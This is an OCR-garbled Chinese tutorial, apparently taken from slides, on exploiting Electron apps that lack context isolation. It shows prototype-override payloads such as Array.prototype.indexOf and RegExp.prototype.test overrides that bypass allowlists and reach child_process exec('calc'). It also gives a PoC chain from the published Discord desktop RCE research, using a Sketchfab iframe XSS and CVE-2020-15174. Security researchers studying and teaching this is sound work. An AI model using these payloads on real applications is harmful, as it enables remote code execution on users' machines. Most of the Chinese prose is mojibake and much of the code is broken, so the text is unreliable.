AL TR EREE, BEAMALUERX N 2B/BIEAEFN Javascript RENR
Array.prototype %i&?ﬂ?@%ﬁ;’;—ﬁ%

Array.prototype.indexOf = () => {

return

BHATEIEER indexof REHIABTHITTREFESHE, EMEILT key HNE, BXIR
32, TIEIAF
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Hell
|
@ DevTools is now available in Chinese!
Hello World!
‘We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0

Elements Console Sourd

Result is: YFYYFnxTdTzJnlPGvsbSHIqukPLYzqmKoEJcXdjOWsQ

BELERRAIRSE, BREERBARENRN require( 'child process').exec('deepin-
music') EAEMAIUEERITTIR?

Hel rl
(@ DevTools is now available in Chinese!
Hello World!
‘We are using Node.js 20.9.0, Chromium 122.0.6261.156, and Electron 29.3.0.

i [0 | Elements Consol

D @ |topv

Sources Network  >>

\’I

HAT, NiZRRENENHARNBTREEIHREFTRY, FIUERITHIHERESFRERHIZ

BRKLETX, £R—%F, 11X window EBREREERE require TE process F, Ul
R ERREGEABIRIEBIE Preload BIZARTTERL, Fhel LURFIHIT
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@ DevTools is now available in Chinese!

Hello wol"ld! Always match Chrome's language Switch DevTools to Chinese  Don't show agair

& o Elements  ( Network Al

We are using Node.js 16.14.2, Chromium 102.0.5005.61, and Electron 19.0.0. <IDOCTYPE html>

Result is: YFYYFnxTdTzJnlPGvsbSHIqukPLYzqmKoEJcXdjOWsQ

>102.0.5005.61</span

rsion">19.0.0</span>

(m] X

ion: underline;">Result
1j0WsQ</h2:

ANER

ARINARELER 1
OM Breakpoints  Propertie:
ERERVIERSRXARFNE R

thov .cls

2) EFEXHHRIT

AMIBFTHFIMERUERY, Preload XJHMERMAEIATIT TIRNE, RAWF http
nt, EEEERIE, shell.openExternal () T

EI;

https FF3kAYth

main.js

const {app, BrowserWindow} = require('electron')

const path = require('path')

function createWindow () {

const mainWindow = new BrowserWindow( {
width:
height: 0
webPreferences: {
contextIsolation: false,

nodeIntegration: false,

E63m /67T


https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30

sandbox: false,

preload: path.join(_ dirname, 'preload.js')

mainWindow.loadFile('index.html")

app.whenReady().then(() => {

createWindow( )

app.on(‘'activate', function () {

if (BrowserWindow.getAllWindows().length === 0) createWindow()

app.on('window-all-closed', function () {
if (process.platform !== 'darwin') app.quit()

})

index.html

<!DOCTYPE html>
<html>
<head>

<meta charset="UTF-8">

<meta http-equiv="Content-Security-Policy" content="default-src 'self';
script-src 'self'">
<meta http-equiv="X-Content-Security-Policy" content="default-src
'self'; script-src 'self'">
<title>Hello World!</title>
</head>
<body>

<hl>Hello World!</hl>
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We are using Node.js <span id="node-version"></span>,
Chromium <span id="chrome-version"></span>,

and Electron <span id="electron-version"></span>.

<br>
<a href="file:///C:/windows/system32/calc.exe">click here</a>
<script src="./renderer.]js"></script>
</body>
</html>

preload.js

window.addEventListener ( 'DOMContentLoaded', () => {
const replaceText = (selector, text) => {
const element = document.getElementById(selector)

if (element) element.innerText = text

for (const type of ['chrome', 'node', 'electron']) {

replaceText( S{typel}-version , process.versions[type])

})

const { shell } = require('electron')

const SAFE PTOTOCOLS = ["http:", "https:"]

document.addEventListener('click', (e) => {
if (e.target.nodeName === 'A') {
var link = e.target
if (SAFE PTOTOCOLS.indexOf (link.protocol) !== -1) {
shell.openExternal (link.href)
} else {
alert("This link is not allowed")

}

e.preventDefault();
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1 Tasks Show Me Help

B Stop [Z] Console

iles to C:\Users\join\AppData\Local\Temp\electron-fiddle-5500-1i17k8g122FiH4
v12.0.0 started.

@Hello World!

exited with code @. File Edit View Window Help
iles to temp directory...
iles to C:\Users\join\AppData\Local\

v12.0.0 started. He"o World!

We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.

Main Process (main.js) click here \

t {app, Browser
t path = require

function createWindo

File Edit View Window Help

Hello World!

We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.
click here

voiceless-frog-delight-3ebkn X

This link is not allowed

e |

AIANMBRFARIF file:// XY, BRLETXREREAR, HIMENUT

JavaScript 85

Array.prototype.indexOf = ()

return

EERHAIER, B indexof RIFEILAINT, TIWHA, HRE 1, XFMELTRERE

E56T1/6701



"B e = m] X L

= tnfE 3 3D

O lUsers\join\AppData\Local\Temp\electron-fiddle-5500-BIjWQix39tUx
jtarted.

th signal SIGTERM. File Edit View Window Help
% CE C & bmp directory...

\Users\join\AppData\Local\

e - R e Hello World!

We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.
hin Process (main.js) click here

{app, Browsery|
path = require

tion createWindo

const mainWindow =
width: 800,
height: 600,
webPreferences:
contextIsolati
nodeIntegratio
sandbox: fal
preload: path.

Renderer Process (renderer.js)

4
)
BRREMEEI T NN EFIXH T, SIMERXAHRITRINE

3) &5 require

ﬁ%*if%?j_: Preload Wgﬁgﬁeﬁ%ng require , E_[LH\HWT_%UJLH\@)}EE, ZE%E@@Q?@’?@
HIZ, XA T ERHRZOFZN, BERATURITRSAEGS

main.js

const {app, BrowserWindow} = require('electron')

const path = require('path')
function createWindow () {

const mainWindow = new BrowserWindow ({
width:
height: 0
webPreferences: {
contextIsolation: false,
nodeIntegration: false,

sandbox: false,

preload: path.join( dirname, 'preload.js')

EH7T1 /67T



mainWindow.loadFile( 'index.html")

app.whenReady().then(() =>

createWindow( )

app.on('activate', function () {

if (BrowserWindow.getAllWindows().length === 0) createWindow()

})
})

app.on('window-all-closed', function () {
if (process.platform !== 'darwin') app.quit()

})

preload. js

window.addEventListener ( 'DOMContentLoaded’', () => {
const replaceText = (selector, text) => {
const element = document.getElementById(selector)

if (element) element.innerText = text

for (const type of ['chrome', 'node', 'electron']) {

replaceText ( ${type}-version  , process.versions[type])

window.diyRequire = (module name) => {

£ 58T /#0670




const forbidden module = ["child process",

if (forbidden module.indexOf (module name)
console.log('not allow')
} else {

return require(module name)

— P EENEE, BEXT— require , B®ikET child process M shell &R, BZE
HEARLETXRE, SHENERTLLED R SHRIFEZHIT RCE

Array.prototype.indexOf = () => {

return -

}

window.diyRequire( 'child process').exec( 'calc')

9

File Edit View Window Tasks Show Me Help

B Stop B3 Console

Saved files to C:\Users\join\AppData\Local\Temp\electron-fiddle-5500-WAYm8YhUpplg
Electron v12.0.0 started.

itEeE

= tnE 9

File Edit View Window Help

Hello World!

We are using Node.js 14.16.0, Chromium 89.0.4389.69, and Electron 12.0.0.

Modules

#EH9T1/He6e7Tm



2. =53

https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
ENBZAIXEDITTHNZERI, bpiscord NAELRE, KAELXMEN Masato
Masato A5 TUT=NMNREASLIMT rce HIKER
e Missing contextIsolation

¢ XSS in iframe embeds

e Navigation restriction bypass (CVE-2020-15174)

EDEJ&&‘J:FY[‘%%: ﬁ;ltF iframe ﬁl’-'A")\, %ﬁﬁf‘ﬁ%ué%ﬂ

FEERE T — FTEHEENNEE

const mainWindowOptions = {

title: 'Discord’,

backgroundColor: getBackgroundColor(),

width: DEFAULT_WIDTH,

height: DEFAULT_HEIGHT,

minwWidth: MIN_WIDTH,

minHeight: MIN_HEIGHT,

transparent: false,

frame: false,

resizable: true,

show: isVisible,

webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true

}

};

&AM nodelntegration FH&BHRE, BERLTXREBHMEEHE, EARBIXTHREA, A
REZEAIAEN XA
%1’?%*@75 Preload Hfl]ZIKHT_I', ﬁf)nb Discord %E@Hff

DiscordNative.nativeModules.requireModule( 'MODULE-NAME') , ﬁﬁl?&@ﬁﬁ%*ﬁ

R

AT, EEAMHAREZAA child process 1EIREE rcE , TEREEBIRIFESHR
7%, IETIT poc

56071/ 6701


https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
https://twitter.com/kinugawamasato

RegExp.prototype.test=function() {

return false;

}
Array.prototype.join=function(){

return "calc";

}

DiscordNative.nativeModules.requireModule( 'discord utils').getGPUDriverVers

ions();
ﬁiiﬁﬁﬁ getGPUDriverVersions %ﬁﬁﬁqﬁﬁﬁﬁ execa #l.ﬁ'%%ﬁ"_

module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {

return {};

const result = {};

const nvidiaSmiPath = ~${process.env|[ 'ProgramW6432']}/NVIDIA

Corporation/NVSMI/nvidia-smi.exe" ;

try {
result.nvidia parseNvidiaSmiOutput (await execa(nvidiaSmiPath, []));
} catch (e) {

result.nvidia {error: e.toString()};

return result;

}:

XEAILEER, BRITHXAREER, XEAPREIMENE, SAAKAUS
Bl 1A a7 gE@E £ T SO AT B A Bl R Ein TR S e

HTAMBEY RegExp.prototype.test #ll Array.prototype.join TiAJLUEERITHIN G
BN calc UE?

FERM TR IR, HEME— I XHFHhmMIE

61T /H 67



https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36

(@} () https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.s...

. noc >ros:s / lib | parse.js
[1 Files LAl

Code Blame 91 lines (70 loc) - 2.99 KB
P 16feb53
25 }
Q Go to file 26
function parseNonShell(parsed) {
v [ lib if (lisWin) {
return parsed;

> Bl util 30 }

[ enoent.js
dd support for s

[ parse.js const commandFile = detectShebang(parsed);

> I test // We don't need a shell if the command filename is an executable

[ .editorconfig const needsShell = !isExecutableRegExp.test(commandFile);

.eslintignore // If a shell i ired, use cmd. and take care of escaping everything correctly

// Note that *f 11" is an hidden option used only in tests

if (parsed.options.forceShell || needsShell) {

.gitignore // Need to double escape meta chars if the command is a cmd-shim located in “node_modules/.bin/

.eslintrc

X ge bin file with NodelS, ny argument
travis.yml interpreted when the cmd.e s first called

[ CHANGELOG.md [ // we need to double escape them
const needsDoubleEscapeMetaChars = isCmdShimRegExp.test(commandFile);
[ LICENSE

ﬁ README.md // Normalize posix paths into 0S compatible paths (e.g.: foo/bar —> foo\bar)
// This is necessary oth > it w E V% a with ENOENT in those cases
[ appveyoryml parsed.command = path.normalize(parsed.command);
[ indexjs // Escape command & arguments
[ package-lock.json 52 parsed.command = escape.command(parsed.command) ;

parsed.args = parsed.args.map((arg) => escape.argument(arg, needsDoubleEscapeMetaChars));
[ package.json

const shellCommand = [parsed.command].concat(parsed.args).join(' ");
parsed.args = ['/d*, '/s', '/c', “"${shellCommand}"'1;

parsed.command = process.env.comspec || 'cmd.exe';
parsed.options.windowsVerbatimArguments = true; // Tell node's spawn that the arguments are already esce

return parsed;

EEE%%E%H%EE$W@EHE,ﬁﬁﬁ%@&%@ﬁﬁmﬂwaﬁﬁ¢%ﬁ%%
join M test , BWIENREUREIE, MIEILLNE, HITHRIBENREFXMH calc

WME poc BT, MAKREITIEFHITE? HINEFE—" xss XEFHN=

EEZW T L xss MidE, HEERIBEN xss V=, BERAMXMEFZHF
autolink # Markdown , PRIAMIEEESI4EET iframe #RN, WHEBEIHN iframe
1T LIRS

XN\ iframe HILELLERZEILINEE, FIANFENTRFIMLAIINSR, W1z LN LEIREIIRA
T %QEHUI]?EE?EE‘EETJ:H%EWEE’\J%B%E@, 1§'J§ZEI?)"J*/FD5%9‘E, %, MAEKLH
URL , PBETRE iframe RN\, BHEWXMMINEE, MERIFBXAME R EHIEG

Discord EZ?%H“&)\WJ?D YouTube W?é:, % YouTube URL ?&ﬁ?ﬁﬁj, E%QEﬂEHQH%EPE
ANVt Er
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https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

Y urL WATEY, Discord REIRFKENE ocr 52, WIRE oce 58, ExEXRS
ETRTEMNIRE. iR, FEIRE. BXMINE,

Discord M ocp HIREMISM urL , HEREHMM vre @AFMIEHE uvrt KPR LbA
ﬁfﬁ’)\ﬁﬁﬂg URL *gfﬁﬁj, URL 7_|_ HA)\:'J iframe EF'O

R, SMHRENEAFERFER iframe RN, BUEERRET RIFHE, KEIXE
HEHYE’I, TEE\ jtg CSP El’] frame-src , —n%yﬂ—F

Content-Security-Policy: [...] ; frame-src
https://*.youtube.com
https://*.twitch.tv
https://open.spotify.com
https://w.soundcloud.com
https://sketchfab.com
https://player.vimeo.com
https://www.funimation.com
https://twitter.com
https://www.google.com/recaptcha/
https://recaptcha.net/recaptcha/
https://js.stripe.com
https://assets.braintreegateway.com
https://checkout.paypal.com

https://*.watchanimeattheoffice.com

ZEBRTENEXEIZ 2R LEARM iframe SRAFIME, 275X ZRIMILLF
FHK xss , RAZTE sketchfab.com HFIKEIT xss , ZHIHATHEX ML, KBS N A
RIRB ML, NI EEEEFPIRET xss , XBEMUFFHETFTT rce WEEMNERRE—IF

PoC

<!DOCTYPE
<html>
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
<meta property="og:description" content="Description">
<meta property="og:type" content="video">
<meta property="og:image" content="https://10.cm/img/bg.jpg">
<meta property="og:image:type" content="image/jpg">

<meta property="og:image:width" content="1280">

¥63T /%677




<meta property="og:image:height" content="720">
<meta property="og:video:url"
content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embe
da">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>

BE5RE, BAKET xss , BRABRMARRITE iframe BE, FHRBEHRITEER
HIZE, FAUBATRBINEBERATANTEBZBEZRINE, FMMNAFTE— T RRAVIRIE

AEEHFET nodeIntegrationInSubFrames [EEfemMABE®ET, AFKIEEIMIERUFX
N EERAE

AN

BT RMEE iframe RIRE, FEURBZIERHARER, —REBEL iframe FTA—TH
BONEBEIFHN, SMETNHEORS— vrL

EEFREXREHITONMEAIN, EEHIER, FHT new-window will-navigate =
4 RBREI T FANRIITH

mainWindow.webContents.on( 'new-window', (e, windowURL, frameName,
disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD NAMESPACE) &&
windowURL.startsWith (WEBAPP ENDPOINT)) {
popoutWindows .openOrFocusWindow (e, windowURL, frameName, options);
} else {

_electron.shell.openExternal (windowURL) ;

mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP ENDPOINT)) {

evt.preventDefault();

Ee4T /67T




}

)

XABELRREI, EBERMLEINNEE, ER2EEEMNRIEFLN T — 11289

il

CVE-2020-15174
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